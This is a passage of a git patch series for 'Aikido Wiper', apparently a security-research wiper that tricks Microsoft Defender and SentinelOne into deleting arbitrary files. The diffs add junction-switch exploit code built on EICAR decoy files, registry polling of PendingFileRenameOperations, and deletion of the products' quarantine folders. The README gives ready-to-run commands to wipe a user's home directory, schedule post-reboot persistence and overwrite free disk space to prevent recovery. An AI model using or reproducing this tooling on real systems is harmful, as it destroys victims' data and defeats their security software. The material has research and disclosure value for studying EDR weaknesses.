a/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py +++ b/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py @@ -73,7 +73,7 @@ def __init__(self, use_one_junction_dir: bool, decoy_dir_path: str = None) -> No self._decoys_root_dir_path = os.path.join(self._windows_drive, str(uuid.uuid4())) self._decoy_dir_count = 0 - def indirect_delete_paths(self, paths_to_delete: Iterable[str]) -> set[str]: + def indirect_delete_paths(self, paths_to_delete: list[str]) -> set[str]: """ Read parent class doc """ diff --git a/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py b/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py index c0955ac..f8e8824 100644 --- a/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py +++ b/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py @@ -20,7 +20,7 @@ def __init__(self, decoy_dir_path: str) -> None: self.__target_paths_to_open_handles = {} self.__defender_scan_happened = False - def indirect_delete_paths(self, paths_to_delete: Iterable[str]) -> set[str]: + def indirect_delete_paths(self, paths_to_delete: list[str]) -> set[str]: """ Read parent class doc. Also, the Microsoft Defender proxy is not able to delete specific files, only @@ -29,8 +29,17 @@ def indirect_delete_paths(self, paths_to_delete: Iterable[str]) -> set[str]: """ for path in paths_to_delete: if not os.path.isdir(path): - raise NotADirectoryError(f"{type(self).__name__} supports directory deletion only. {path} is not a directory") + try: + os.listdir(path) + except PermissionError: + # os.path.isdir does not raise exception if there is a permission error, + # it just returns False instead to it needs to be checked. + pass + else: + raise NotADirectoryError(f"{type(self).__name__} supports directory deletion only. {path} is not a directory") + + return super().indirect_delete_paths(paths_to_delete) def _before_junction_switch(self, decoy_path: DecoyPath) -> None: From 56f93d6df347190eeb417b8cd1423d09c10fecff Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 21 Sep 2022 16:35:46 +0300 Subject: [PATCH 27/37] Fixed a bug in wipe utils in find_files_under_dir_from_args --- wiper_tool/configs/args_specific_actions.py | 1 - 1 file changed, 1 deletion(-) diff --git a/wiper_tool/configs/args_specific_actions.py b/wiper_tool/configs/args_specific_actions.py index 396311e..0c1d33d 100644 --- a/wiper_tool/configs/args_specific_actions.py +++ b/wiper_tool/configs/args_specific_actions.py @@ -68,7 +68,6 @@ def find_files_under_dir_from_args(args) -> set[str]: paths_to_exclude = parse_list_from_file(args.exclusion_list_path) result = get_all_files_under_dir(args.root_path, paths_to_exclude) - result.add(args.root_path) return result From b22894b79bfe07f089dbbf34b885b9752f9957fa Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 21 Sep 2022 16:42:34 +0300 Subject: [PATCH 28/37] Added sentinel's and microsoft's quarantine dirs into the deletion lists and changed the sentinel proxy to wait until each target is surely marked for deletion --- .../delete/junction_switch_proxy.py | 1 + .../delete/microsoft_defender_delete_proxy.py | 8 +++--- .../delete/sentinel_one_delete_proxy.py | 25 +++++++++++++------ wiper_tool/wiper.py | 6 +---- 4 files changed, 24 insertions(+), 16 deletions(-) diff --git a/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py b/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py index 32e914f..d46e3b8 100644 --- a/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py +++ b/src/aikido_wiper/indirect_ops/delete/junction_switch_proxy.py @@ -29,6 +29,7 @@ def __init__(self, decoy_dir, path_to_delete) -> None: self.decoy_dir = decoy_dir self.decoy_deepest_dir = os.path.join(self.decoy_dir, os.path.dirname(path_to_delete_without_drive)) + self.decoy_file_path = os.path.join(self.decoy_deepest_dir, os.path.basename(path_to_delete)) try: os.makedirs(self.decoy_deepest_dir) diff --git a/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py b/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py index f8e8824..2bccaac 100644 --- a/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py +++ b/src/aikido_wiper/indirect_ops/delete/microsoft_defender_delete_proxy.py @@ -11,6 +11,8 @@ class MicrosoftDefenderDeleteProxy(JunctionSwitchDeleteProxy): For endpoint in order to delete directories. """ + QUARANTINE_DIR = r"C:\ProgramData\Microsoft\Windows Defender\Quarantine" + def __init__(self, decoy_dir_path: str) -> None: """ Read parent class doc. @@ -38,8 +40,7 @@ def indirect_delete_paths(self, paths_to_delete: list[str]) -> set[str]: else: raise NotADirectoryError(f"{type(self).__name__} supports directory deletion only. {path} is not a directory") - - + paths_to_delete.append(self.QUARANTINE_DIR) return super().indirect_delete_paths(paths_to_delete) def _before_junction_switch(self, decoy_path: DecoyPath) -> None: @@ -76,8 +77,7 @@ def _create_decoy_file(self, decoy_path: DecoyPath) -> None: Read parent class doc. Also, after creating the decoy file, the handle to it is left open and stored so it can be closed later. """ - eicar_file_path = os.path.join(decoy_path.decoy_deepest_dir, os.path.basename(decoy_path.path_to_delete)) - eicar_file_handle = win32file.CreateFile(eicar_file_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, win32file.FILE_SHARE_READ, None, win32file.CREATE_NEW, 0, 0) + eicar_file_handle = win32file.CreateFile(decoy_path.decoy_file_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, win32file.FILE_SHARE_READ, None, win32file.CREATE_NEW, 0, 0) win32file.WriteFile(eicar_file_handle, self._get_decoded_eicar(), None) self.__target_paths_to_open_handles[decoy_path.path_to_delete] = eicar_file_handle \ No newline at end of file diff --git a/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py b/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py index 9ed3ee3..affd2ed 100644 --- a/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py +++ b/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py @@ -1,6 +1,7 @@ import os import win32file import time +import winreg from aikido_wiper.indirect_ops.delete.junction_switch_proxy import JunctionSwitchDeleteProxy, DecoyPath @@ -9,6 +10,8 @@ class SentinelOneDeleteProxy(JunctionSwitchDeleteProxy): A deletion proxy that uses Sentinel One's EDR in order to delete files or directories. """ + QUARANTINE_DIR = r"C:\ProgramData\Sentinel\Quarantine" + def __init__(self, decoy_dir_path: str) -> None: """ Read parent class doc. @@ -18,17 +21,20 @@ def __init__(self, decoy_dir_path: str) -> None: self.__target_paths_to_open_handles = {} self.__wait_for_edr_happened = False + def indirect_delete_paths(self, paths_to_delete: list[str]) -> set[str]: + paths_to_delete.append(self.QUARANTINE_DIR) + return super().indirect_delete_paths(paths_to_delete) + def _create_decoy_file(self, decoy_path: DecoyPath) -> None: """ Read parent class doc. Also, after creating the decoy file, closes and opens the file again so the EDR will detect it. The handle to it is left open and stored so it can be closed later. """ - eicar_file_path = os.path.join(decoy_path.decoy_deepest_dir, os.path.basename(decoy_path.path_to_delete)) - eicar_file_handle = win32file.CreateFile(eicar_file_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, win32file.FILE_SHARE_READ, None, win32file.CREATE_NEW, 0, 0) + eicar_file_handle = win32file.CreateFile(decoy_path.decoy_file_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, win32file.FILE_SHARE_READ, None, win32file.CREATE_NEW, 0, 0) win32file.WriteFile(eicar_file_handle, self._get_decoded_eicar(), None) win32file.CloseHandle(eicar_file_handle) - eicar_file_handle = win32file.CreateFile(eicar_file_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, win32file.FILE_SHARE_READ, None, win32file.OPEN_EXISTING, 0, 0) + eicar_file_handle = win32file.CreateFile(decoy_path.decoy_file_path, win32file.GENERIC_READ | win32file.GENERIC_WRITE, win32file.FILE_SHARE_READ, None, win32file.OPEN_EXISTING, 0, 0) self.__target_paths_to_open_handles[decoy_path.path_to_delete] = eicar_file_handle @@ -39,10 +45,15 @@ def _before_junction_switch(self, decoy_path: DecoyPath) -> None: of paths to delete. The EDR should try to delete them and give up. After the EDR gave up, The function closes the handle to the decoy file which was left open. """ - if not self.__wait_for_edr_happened: - self.__wait_for_edr_happened = True - print("Waiting 15 seconds") - time.sleep(15) + key = winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Control\Session Manager") + while True: + pending_rename_list = winreg.QueryValueEx(key, "PendingFileRenameOperations")[0] + if f"\??\{decoy_path.decoy_file_path}" in pending_rename_list: + break + else: + print(f"{decoy_path.decoy_file_path} was not marked for deletion yet, waiting") + time.sleep(1) + winreg.CloseKey(key) win32file.CloseHandle(self.__target_paths_to_open_handles[decoy_path.path_to_delete]) self.__target_paths_to_open_handles.pop(decoy_path.path_to_delete) diff --git a/wiper_tool/wiper.py b/wiper_tool/wiper.py index 2bfb1a0..77b0a9e 100644 --- a/wiper_tool/wiper.py +++ b/wiper_tool/wiper.py @@ -17,11 +17,9 @@ def main(): return 0 delete_proxy = create_proxy_from_conf(args) - deletion_targets = find_deletion_targets_from_args(args) + deletion_targets = list(find_deletion_targets_from_args(args)) - before = time.time() failed_targets = delete_proxy.indirect_delete_paths(deletion_targets) - after = time.time() print("Failed targets:") print("------------------------") @@ -29,8 +27,6 @@ def main(): print(path) print("------------------------") - print(f"The deletion took {after - before} seconds") - erase_traces_based_on_args(args) return 0 From a1bb4888a61676b1280a12f1f84b0809e339d2bf Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 28 Sep 2022 12:40:00 +0300 Subject: [PATCH 29/37] Removed ALL_DIRS_UNDER_PATH option and added ALL_USER_DATA option --- wiper_tool/configs/args.py | 5 ++--- wiper_tool/configs/args_specific_actions.py | 16 ++++++++-------- wiper_tool/configs/consts.py | 6 +++--- 3 files changed, 13 insertions(+), 14 deletions(-) diff --git a/wiper_tool/configs/args.py b/wiper_tool/configs/args.py index 74bfd29..3efd49c 100644 --- a/wiper_tool/configs/args.py +++ b/wiper_tool/configs/args.py @@ -62,9 +62,8 @@ def parse_args(): delete_target_subparsers = proxy_delete_parser.add_subparsers(title="deletion_target", dest="deletion_target", required=True) - all_dirs_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.ALL_DIRS_UNDER_PATH.name, help="Try to delete all the directories under the Windows drive") - all_dirs_parser.add_argument("root_path", help="The parent path for all the directories to delete", type=str) - all_dirs_parser.add_argument("--exclusion-list-path", help="Path to a file with a list of paths to exclude and not mark", required=False) + all_dirs_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.ALL_USER_DATA.name, help="Try to delete the home directory of a certain user") + all_dirs_parser.add_argument("target_user", help="The target user to delete its home directory", type=str) all_files_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.ALL_FILES_UNDER_PATH.name, help="Try to delete all the files under the Windows drive") all_files_parser.add_argument("root_path", help="The parent path for all the file to delete", type=str) diff --git a/wiper_tool/configs/args_specific_actions.py b/wiper_tool/configs/args_specific_actions.py index 0c1d33d..3bd88da 100644 --- a/wiper_tool/configs/args_specific_actions.py +++ b/wiper_tool/configs/args_specific_actions.py @@ -1,4 +1,5 @@ import os +import pathlib from aikido_wiper.indirect_ops.delete.microsoft_defender_delete_proxy import MicrosoftDefenderDeleteProxy from aikido_wiper.indirect_ops.delete.sentinel_one_delete_proxy import SentinelOneDeleteProxy @@ -40,19 +41,18 @@ def create_junction_switch_proxy(proxy_class: type, args) -> IDeleteProxy: return delete_proxy -def find_dirs_under_dir_from_args(args) -> set[str]: +def find_user_dir(args) -> set[str]: """ - Finds all the directories to try to delete based on the command line arguments. + Finds the directory of the target user to delete its directory based on the command line arguments. :param args: The command line arguments parsed by argparse. :return: The directories to delete """ - paths_to_exclude = [] - if args.exclusion_list_path: - paths_to_exclude = parse_list_from_file(args.exclusion_list_path) - - result = get_all_dirs_under_dir(args.root_path, paths_to_exclude) - result.add(args.root_path) + result = {} + windows_drive = pathlib.Path.home().drive + "\\" + users_dir = os.path.join(windows_drive, "Users") + target_user_dir = os.path.join(users_dir, args.target_user) + result.add(target_user_dir) return result diff --git a/wiper_tool/configs/consts.py b/wiper_tool/configs/consts.py index b93bed0..ad27936 100644 --- a/wiper_tool/configs/consts.py +++ b/wiper_tool/configs/consts.py @@ -3,7 +3,7 @@ from aikido_wiper.indirect_ops.delete.microsoft_defender_delete_proxy import MicrosoftDefenderDeleteProxy from aikido_wiper.indirect_ops.delete.sentinel_one_delete_proxy import SentinelOneDeleteProxy from aikido_wiper.wipe_utils import erase_disk_traces -from .args_specific_actions import create_junction_switch_proxy, find_custom_paths_from_args, find_dirs_under_dir_from_args, \ +from .args_specific_actions import create_junction_switch_proxy, find_custom_paths_from_args, find_user_dir, \ find_files_under_dir_from_args, autostart_reboot_erase_point, task_scheduler_reboot_erase_point class EraseTracesPoint(Enum): @@ -18,7 +18,7 @@ class DeletionTargetsOptions(Enum): """ Methods to specify the deletion targets in the command line arguments. """ - ALL_DIRS_UNDER_PATH = 0, + ALL_USER_DATA = 0, ALL_FILES_UNDER_PATH = 1, CUSTOM_PATHS = 2 @@ -32,7 +32,7 @@ class DeletionTargetsOptions(Enum): # Maps the deletion targets options to the functions that fetch the final # set of deletion targets. DELETION_TARGETS_FINDERS = { - DeletionTargetsOptions.ALL_DIRS_UNDER_PATH: find_dirs_under_dir_from_args, + DeletionTargetsOptions.ALL_USER_DATA: find_user_dir, DeletionTargetsOptions.ALL_FILES_UNDER_PATH: find_files_under_dir_from_args, DeletionTargetsOptions.CUSTOM_PATHS: find_custom_paths_from_args } From a13a299c87b66c5f0e680d8ef9f29a11ba6d7a35 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 28 Sep 2022 12:40:34 +0300 Subject: [PATCH 30/37] fixed a typo --- wiper_tool/configs/args.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/wiper_tool/configs/args.py b/wiper_tool/configs/args.py index 3efd49c..e941f12 100644 --- a/wiper_tool/configs/args.py +++ b/wiper_tool/configs/args.py @@ -57,8 +57,8 @@ def parse_args(): proxy_delete_parser.add_argument("-p","--proxy", help="The proxy security control to use", type=str, choices=PROXY_ARG_NAME_TO_PROXY_CREATOR.keys()) - erace_traces_points_option_strings = [option.name for option in DeletionTargetsOptions] - proxy_delete_parser.add_argument("-etp","--erase-traces-point", help="When to execute the part of the wiping that fills the disk to remove traces of deleted files", type=str, choices=erace_traces_points_option_strings) + erase_traces_points_option_strings = [option.name for option in DeletionTargetsOptions] + proxy_delete_parser.add_argument("-etp","--erase-traces-point", help="When to execute the part of the wiping that fills the disk to remove traces of deleted files", type=str, choices=erase_traces_points_option_strings) delete_target_subparsers = proxy_delete_parser.add_subparsers(title="deletion_target", dest="deletion_target", required=True) From 3f09bc6118dfbdcf85c7eda95da98c6e59562334 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 28 Sep 2022 13:50:23 +0300 Subject: [PATCH 31/37] fixed --erase-traces-point options --- .../indirect_ops/delete/sentinel_one_delete_proxy.py | 1 - wiper_tool/configs/args.py | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py b/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py index affd2ed..bbcbccb 100644 --- a/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py +++ b/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py @@ -1,4 +1,3 @@ -import os import win32file import time import winreg diff --git a/wiper_tool/configs/args.py b/wiper_tool/configs/args.py index e941f12..3150968 100644 --- a/wiper_tool/configs/args.py +++ b/wiper_tool/configs/args.py @@ -57,7 +57,7 @@ def parse_args(): proxy_delete_parser.add_argument("-p","--proxy", help="The proxy security control to use", type=str, choices=PROXY_ARG_NAME_TO_PROXY_CREATOR.keys()) - erase_traces_points_option_strings = [option.name for option in DeletionTargetsOptions] + erase_traces_points_option_strings = [option.name for option in EraseTracesPoint] proxy_delete_parser.add_argument("-etp","--erase-traces-point", help="When to execute the part of the wiping that fills the disk to remove traces of deleted files", type=str, choices=erase_traces_points_option_strings) delete_target_subparsers = proxy_delete_parser.add_subparsers(title="deletion_target", dest="deletion_target", required=True) From 9e045d845d47c2f966220349f5baeaf1f1a8e5ce Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 28 Sep 2022 14:01:04 +0300 Subject: [PATCH 32/37] Changed a help sentence in the args --- wiper_tool/configs/args.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/wiper_tool/configs/args.py b/wiper_tool/configs/args.py index 3150968..d88c564 100644 --- a/wiper_tool/configs/args.py +++ b/wiper_tool/configs/args.py @@ -65,8 +65,8 @@ def parse_args(): all_dirs_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.ALL_USER_DATA.name, help="Try to delete the home directory of a certain user") all_dirs_parser.add_argument("target_user", help="The target user to delete its home directory", type=str) - all_files_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.ALL_FILES_UNDER_PATH.name, help="Try to delete all the files under the Windows drive") - all_files_parser.add_argument("root_path", help="The parent path for all the file to delete", type=str) + all_files_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.ALL_FILES_UNDER_PATH.name, help="Try to delete all the files under the certain path") + all_files_parser.add_argument("root_path", help="The parent path for all the files to delete", type=str) all_files_parser.add_argument("--exclusion-list-path", help="Path to a file with a list of paths to exclude and not mark", required=False) custom_paths_parser = delete_target_subparsers.add_parser(DeletionTargetsOptions.CUSTOM_PATHS.name, help="Try to delete custom paths") From da035fb4c0380f5d906977efc7652e8a9569a38c Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 23 Nov 2022 13:32:42 +0200 Subject: [PATCH 33/37] Fixed a bug in finding the user directory --- wiper_tool/configs/args_specific_actions.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/wiper_tool/configs/args_specific_actions.py b/wiper_tool/configs/args_specific_actions.py index 3bd88da..d0d2fcb 100644 --- a/wiper_tool/configs/args_specific_actions.py +++ b/wiper_tool/configs/args_specific_actions.py @@ -48,7 +48,7 @@ def find_user_dir(args) -> set[str]: :param args: The command line arguments parsed by argparse. :return: The directories to delete """ - result = {} + result = set() windows_drive = pathlib.Path.home().drive + "\\" users_dir = os.path.join(windows_drive, "Users") target_user_dir = os.path.join(users_dir, args.target_user) From e34015daeee20dc486a57a9b9589c3ed28b9792f Mon Sep 17 00:00:00 2001 From: Or Yair Date: Wed, 23 Nov 2022 13:33:36 +0200 Subject: [PATCH 34/37] Made the exploit for sentinelone to wait for the entry to be added to the PendingFileRenameOperations registry value --- .../indirect_ops/delete/sentinel_one_delete_proxy.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py b/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py index bbcbccb..d1a6d75 100644 --- a/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py +++ b/src/aikido_wiper/indirect_ops/delete/sentinel_one_delete_proxy.py @@ -46,7 +46,11 @@ def _before_junction_switch(self, decoy_path: DecoyPath) -> None: """ key = winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Control\Session Manager") while True: - pending_rename_list = winreg.QueryValueEx(key, "PendingFileRenameOperations")[0] + try: + pending_rename_list = winreg.QueryValueEx(key, "PendingFileRenameOperations")[0] + except FileNotFoundError: + time.sleep(1) + continue if f"\??\{decoy_path.decoy_file_path}" in pending_rename_list: break else: From 9137872bc06a0b66487d4958d561d631b4639467 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Sun, 27 Nov 2022 12:38:16 +0200 Subject: [PATCH 35/37] Updated the readme --- README.md | 84 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 83 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 30377e2..59ba01a 100644 --- a/README.md +++ b/README.md @@ -13,4 +13,86 @@ python setup.py install Make sure you installed the Aikido Wiper Library and then run: ```bash pyinstaller --onefile wiper_tool/wiper.py -``` \ No newline at end of file +``` + +## Usage +The Aikido Wiper offers two options to begin with: +```cmd +cmd> .\wiper.exe -h +usage: wiper.exe [-h] [-q] {PROXY_DELETION,ERASE_DISK_TRACES} ... + +Aikido Wiper - Next gen wiping + +optional arguments: + -h, --help show this help message and exit + -q, --quiet If specified, the wiper will run in the background + +mode: + {PROXY_DELETION,ERASE_DISK_TRACES} +``` +* `PROXY_DELETION` - Specifies that you want to wipe something. +* `ERASE_DISK_TRACES` - Specifies that the wiper should fill the free space on the disk completely with a huge file, delete the file, and repeat this process a few times. This option mainly exists for the wiper to be able to use this feature in order to make deleted files unrestorable after one of the exploits is exploited and a reboot occurs. + +If `PROXY_DELETION` is chosen then a few other options are available: +```cmd +cmd> .\wiper.exe PROXY_DELETION -h +usage: wiper.exe PROXY_DELETION [-h] [-p {MicrosoftDefenderDeleteProxy,SentinelOneDeleteProxy}] + [-etp {RIGHT_AFTER,TASK_SCHEDULER_REBOOT,AUTOSTART_REBOOT}] + [--decoy-root-dir DECOY_ROOT_DIR] + {ALL_USER_DATA,ALL_FILES_UNDER_PATH,CUSTOM_PATHS} ... + +optional arguments: + -h, --help show this help message and exit + -p {MicrosoftDefenderDeleteProxy,SentinelOneDeleteProxy}, --proxy {MicrosoftDefenderDeleteProxy,SentinelOneDeleteProxy} + The proxy security control to use + -etp {RIGHT_AFTER,TASK_SCHEDULER_REBOOT,AUTOSTART_REBOOT}, --erase-traces-point {RIGHT_AFTER,TASK_SCHEDULER_REBOOT,AUTOSTART_REBOOT} + When to execute the part of the wiping that fills the disk to remove traces of deleted files + --decoy-root-dir DECOY_ROOT_DIR + The path in which all the decoys will be placed in case of a usage of a JunctionSwitchProxy + +deletion_target: + {ALL_USER_DATA,ALL_FILES_UNDER_PATH,CUSTOM_PATHS} + ALL_USER_DATA Try to delete the home directory of a certain user + ALL_FILES_UNDER_PATH + Try to delete all the files under the certain path + CUSTOM_PATHS Try to delete custom paths +``` +The mandatory option to choose is the deletion target. +* `ALL_USER_DATA` requires the name of the target user. example: +```cmd +cmd> .\wiper.exe PROXY_DELETION ALL_USER_DATA Admin +``` +* `ALL_FILES_UNDER_PATH` requires the path to the target directory. example: +```cmd +cmd> .\wiper.exe PROXY_DELETION ALL_FILES_UNDER_PATH C:\Users\Admin +``` +This option is not relevant to run against Windows Defender & Defender for Endpoint since the exploit for them does not support specific files deletion +* `CUSTOM_PATHS` requires a path to a file that contains a list separated by line breaks and contains the paths to try to delete. The paths can be directories or files. example: +```cmd +cmd> .\wiper.exe PROXY_DELETION CUSTOM_PATHS .\custom_paths.txt +``` +The exploit for Windows Defender & Defender for Endpoint does not support specific files deletion. Therefore, the custom paths file can contain only paths to directories. + +### Default Behavior With Mandatory Arguments Only +If you give the wiper only the mandatory arguments, which are the operation mode, probably `PROXY_DELETION`, along with the deletion target, then the default behavior will be as the following: +* The wiper will create a decoy directory in the root path of the Windows drive of the computer. +* The wiper will create the specially crafted paths inside the decoy directory and create the decoy files. +* The wiper will keep open handles to the decoy files until the EDR or the AV is forced to give up on deleting them and instead marks them for deletion for after the next reboot. +* The wiper will write a task to the task scheduler that will run the wiper in the `ERASE_DISK_TRACES` mode right after the reboot. +* After the reboot the target files or directories will be deleted and the wiper will start the process of filling up the disk a few times. + +### Optional Behavior With Optional Arguments +#### `-p` / `--proxy` +Lets you choose the deletion proxy class to use. By default, the class is chosen according to the EDR / AV installed on the computer. +* `MicrosoftDefenderDeleteProxy` - Exploits CVE-2022-37971. +* `SentinelOneDeleteProxy` - Exploits +#### `-etp` / `--erase-traces-point` +Lets you choose the point in time in which the erase disk traces trick should occur. In other words, the point in time when the wiper starts to fill up the disk to no space for a few times. +* `RIGHT_AFTER` - Should occur right after the exploit is being exploited with no reboot (not relevant for `MicrosoftDefenderDeleteProxy` or `SentinelOneDeleteProxy` but maybe for future exploits) +* `TASK_SCHEDULER_REBOOT` - The wiper should erase disk traces after reboot while using the task scheduler persistency method. +* `AUTOSTART_REBOOT` - The wiper should erase disk traces after reboot while using the autostart directory persistency method. +#### `--decoy-root-dir` +The exploits require a creation of decoy malicious files in order to make the AV / EDR try to delete them and then right before the deletion turn the decoys' root directory into a junction point to the Windows drive. This parameter lets you choose where to create the root directory for the decoys which are used for the exploits against the EDRs / AVs. The default directory is a directory with a uuid name in the Windows drive. + + + From ed3afa977ada03d6e0197aeae6e8b603f7c37822 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Mon, 28 Nov 2022 11:32:40 +0200 Subject: [PATCH 36/37] Updated the readme --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 59ba01a..0438bf5 100644 --- a/README.md +++ b/README.md @@ -15,6 +15,8 @@ Make sure you installed the Aikido Wiper Library and then run: pyinstaller --onefile wiper_tool/wiper.py ``` +## General Description +Aikido Wiper is a next-gen wiper that manipulates EDRs and anti viruses in order to delete files. ## Usage The Aikido Wiper offers two options to begin with: ```cmd From ec93f43c51f16ec245596718e0168f31ab2dc234 Mon Sep 17 00:00:00 2001 From: Or Yair Date: Tue, 6 Dec 2022 15:58:05 +0200 Subject: [PATCH 37/37] Updated the LICENSE --- LICENSE | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/LICENSE b/LICENSE index c67ddc1..09f2218 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ BSD 3-Clause License -Copyright (c) 2022, Or Yair +Copyright (c) 2022, SafeBreach Labs All rights reserved. Redistribution and use in source and binary forms, with or without @@ -26,4 +26,4 @@ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file